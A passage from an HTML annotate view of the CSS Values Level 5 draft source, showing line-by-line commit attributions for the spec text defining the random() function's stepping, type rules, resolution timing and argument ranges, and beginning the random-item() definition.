href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l602" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1912" id="l1912"> 1912</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l603" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1913" id="l1913"> 1913</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l604" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1914" id="l1914"> 1914</a> </td> <td class="source"> As explained in the definition of ''round()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l605" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1915" id="l1915"> 1915</a> </td> <td class="source"> CSS has no "natural" precision for values, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l606" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1916" id="l1916"> 1916</a> </td> <td class="source"> but the step value can be used to assign one. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l607" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1917" id="l1917"> 1917</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l608" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1918" id="l1918"> 1918</a> </td> <td class="source"> For example, ''random(100px, 500px, by 1px)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l609" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1919" id="l1919"> 1919</a> </td> <td class="source"> restricts it to resolving only to whole px values; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l610" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1920" id="l1920"> 1920</a> </td> <td class="source"> ''random(1, 10, by 1)'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l611" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1921" id="l1921"> 1921</a> </td> <td class="source"> is restricted to resolving only to integers; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l612" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1922" id="l1922"> 1922</a> </td> <td class="source"> etc. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l613" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1923" id="l1923"> 1923</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l615" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1924" id="l1924"> 1924</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l616" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1925" id="l1925"> 1925</a> </td> <td class="source"> Note: The definition of the step <em>does not</em> allow </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l617" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1926" id="l1926"> 1926</a> </td> <td class="source"> for naively generating a random value in the range </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l618" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1927" id="l1927"> 1927</a> </td> <td class="source"> and then rounding it to the nearest step value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l619" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1928" id="l1928"> 1928</a> </td> <td class="source"> as that can result in the values not appearing with the same weights. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l620" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1929" id="l1929"> 1929</a> </td> <td class="source"> For example, ''random(100px, 200px, by 50px)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l621" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1930" id="l1930"> 1930</a> </td> <td class="source"> has to generate the three possible values each with a 1/3 chance; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l622" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1931" id="l1931"> 1931</a> </td> <td class="source"> a naive rounding-based method will instead incorrectly generate ''150px'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l623" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1932" id="l1932"> 1932</a> </td> <td class="source"> twice as often as the boundary values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l614" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1933" id="l1933"> 1933</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l615" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1934" id="l1934"> 1934</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l616" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1935" id="l1935"> 1935</a> </td> <td class="source"> All of the [=calculation=] arguments can resolve to any <<number>>, <<dimension>>, or <<percentage>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l617" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1936" id="l1936"> 1936</a> </td> <td class="source"> but must have the <em>same</em> [=determine the type of a calculation|type=], or else the function is invalid; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l618" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1937" id="l1937"> 1937</a> </td> <td class="source"> the result will have the same type as the arguments. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l619" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1938" id="l1938"> 1938</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l620" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1939" id="l1939"> 1939</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l621" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1940" id="l1940"> 1940</a> </td> <td class="source"> For example, ''random(50px, 100%, by 1em)'' is valid </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l622" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1941" id="l1941"> 1941</a> </td> <td class="source"> (assuming percentages are valid in the context this is used, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l623" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1942" id="l1942"> 1942</a> </td> <td class="source"> and resolve to a <<length>>), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l624" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1943" id="l1943"> 1943</a> </td> <td class="source"> as all three arguments resolve to a length. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l625" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1944" id="l1944"> 1944</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l626" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1945" id="l1945"> 1945</a> </td> <td class="source"> However, ''random(50px, 180deg)'' is invalid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l627" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1946" id="l1946"> 1946</a> </td> <td class="source"> as lengths and angles are not the same type. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l628" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1947" id="l1947"> 1947</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l629" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1948" id="l1948"> 1948</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1096" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1949" id="l1949"> 1949</a> </td> <td class="source"> A ''random()'' function can be [=simplify a calculation tree|simplified=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l632" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1950" id="l1950"> 1950</a> </td> <td class="source"> as soon as its argument [=calculations=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l633" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1951" id="l1951"> 1951</a> </td> <td class="source"> can be simplified to numeric values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1099" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1952" id="l1952"> 1952</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1100" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1953" id="l1953"> 1953</a> </td> <td class="source"> Note: This means that ''random()'' is <em>usually</em> resolved </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1101" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1954" id="l1954"> 1954</a> </td> <td class="source"> by [=computed value=] time, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1102" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1955" id="l1955"> 1955</a> </td> <td class="source"> and thus will inherit as a static numeric value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1103" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1956" id="l1956"> 1956</a> </td> <td class="source"> However, if the argument [=calculations=] aren't resolved </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1104" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1957" id="l1957"> 1957</a> </td> <td class="source"> until [=used value=] time </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1105" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1958" id="l1958"> 1958</a> </td> <td class="source"> (such as if they include <<percentage>> values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1106" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1959" id="l1959"> 1959</a> </td> <td class="source"> that require layout information to resolve), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1107" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1960" id="l1960"> 1960</a> </td> <td class="source"> [=inheritance=] will transfer the ''random()'' function itself. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1108" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1961" id="l1961"> 1961</a> </td> <td class="source"> (This is no different, however, to the behavior of the <<percentage>>s themselves, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1109" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1962" id="l1962"> 1962</a> </td> <td class="source"> which would inherit as <<percentage>>s </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1110" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1963" id="l1963"> 1963</a> </td> <td class="source"> and thus might resolve to different values on the child elements.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0479a70c82b3/css-values-5/Overview.bs#l1111" title="0479a70c82b3: [css-values-5] No reason for per-element to delay random() resolution. Clarify the resolution timing, tho.">jackalmage@30489</a> </td> <td class="lineno"> <a href="#l1964" id="l1964"> 1964</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l636" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1965" id="l1965"> 1965</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l637" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1966" id="l1966"> 1966</a> </td> <td class="source"> Issue: At least in theory it should be fine to use ''random()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l638" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1967" id="l1967"> 1967</a> </td> <td class="source"> in non-property contexts, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l639" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1968" id="l1968"> 1968</a> </td> <td class="source"> so long as ''per-element'' isn't specified; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l640" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1969" id="l1969"> 1969</a> </td> <td class="source"> it's well-defined what happens with <code>@media (max-width: random(100px, 500px)) {...}</code>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l641" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1970" id="l1970"> 1970</a> </td> <td class="source"> for example. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l642" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1971" id="l1971"> 1971</a> </td> <td class="source"> I suspect we want to disallow it, tho? </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l643" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1972" id="l1972"> 1972</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l644" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1973" id="l1973"> 1973</a> </td> <td class="source"><h4 id=random-infinities> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l645" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1974" id="l1974"> 1974</a> </td> <td class="source">Argument Ranges</h4> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l646" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1975" id="l1975"> 1975</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l647" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1976" id="l1976"> 1976</a> </td> <td class="source"> In ''random(A, B, by C)'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l648" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1977" id="l1977"> 1977</a> </td> <td class="source"> if A or B is infinite, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l649" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1978" id="l1978"> 1978</a> </td> <td class="source"> the result is NaN. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l650" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1979" id="l1979"> 1979</a> </td> <td class="source"> If C is infinite, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l651" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1980" id="l1980"> 1980</a> </td> <td class="source"> the result is A. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l652" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1981" id="l1981"> 1981</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l663" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1982" id="l1982"> 1982</a> </td> <td class="source"> (If C is zero or negative, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l664" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1983" id="l1983"> 1983</a> </td> <td class="source"> the result is A, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l665" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1984" id="l1984"> 1984</a> </td> <td class="source"> but that falls out of the standard definition.) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/2c50f18d647e/css-values-5/Overview.bs#l666" title="2c50f18d647e: [css-values-5] Clarify that stepped values are uniformly random.">jackalmage@29490</a> </td> <td class="lineno"> <a href="#l1985" id="l1985"> 1985</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l653" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1986" id="l1986"> 1986</a> </td> <td class="source"> Note: As usual for [=math functions=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l654" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1987" id="l1987"> 1987</a> </td> <td class="source"> if any argument calculation is NaN, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l655" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1988" id="l1988"> 1988</a> </td> <td class="source"> the result is NaN. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l656" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1989" id="l1989"> 1989</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l657" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1990" id="l1990"> 1990</a> </td> <td class="source"><h3 id=random-item> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/56fc0ec464aa/css-values-5/Overview.bs#l1074" title="56fc0ec464aa: [css-values-5][editorial] fix caps">jackalmage@30485</a> </td> <td class="lineno"> <a href="#l1991" id="l1991"> 1991</a> </td> <td class="source">Picking a Random Item From a List: the ''random-item()'' function</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l659" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1992" id="l1992"> 1992</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l660" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1993" id="l1993"> 1993</a> </td> <td class="source"> The <dfn>random-item()</dfn> function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l661" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1994" id="l1994"> 1994</a> </td> <td class="source"> resolves to a random item </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l662" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1995" id="l1995"> 1995</a> </td> <td class="source"> from among its list of items. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l663" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1996" id="l1996"> 1996</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l664" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1997" id="l1997"> 1997</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l1385" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1998" id="l1998"> 1998</a> </td> <td class="source"> &lt;random-item()> = random-item( <<random-caching-options>> , [ <<declaration-value>>? ]# ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l666" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1999" id="l1999"> 1999</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l667" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2000" id="l2000"> 2000</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l668" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2001" id="l2001"> 2001</a> </td> <td class="source"> The <em>required</em> <<random-caching-options>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l669" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2002" id="l2002"> 2002</a> </td> <td class="source"> is interpreted identically to ''random()''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a 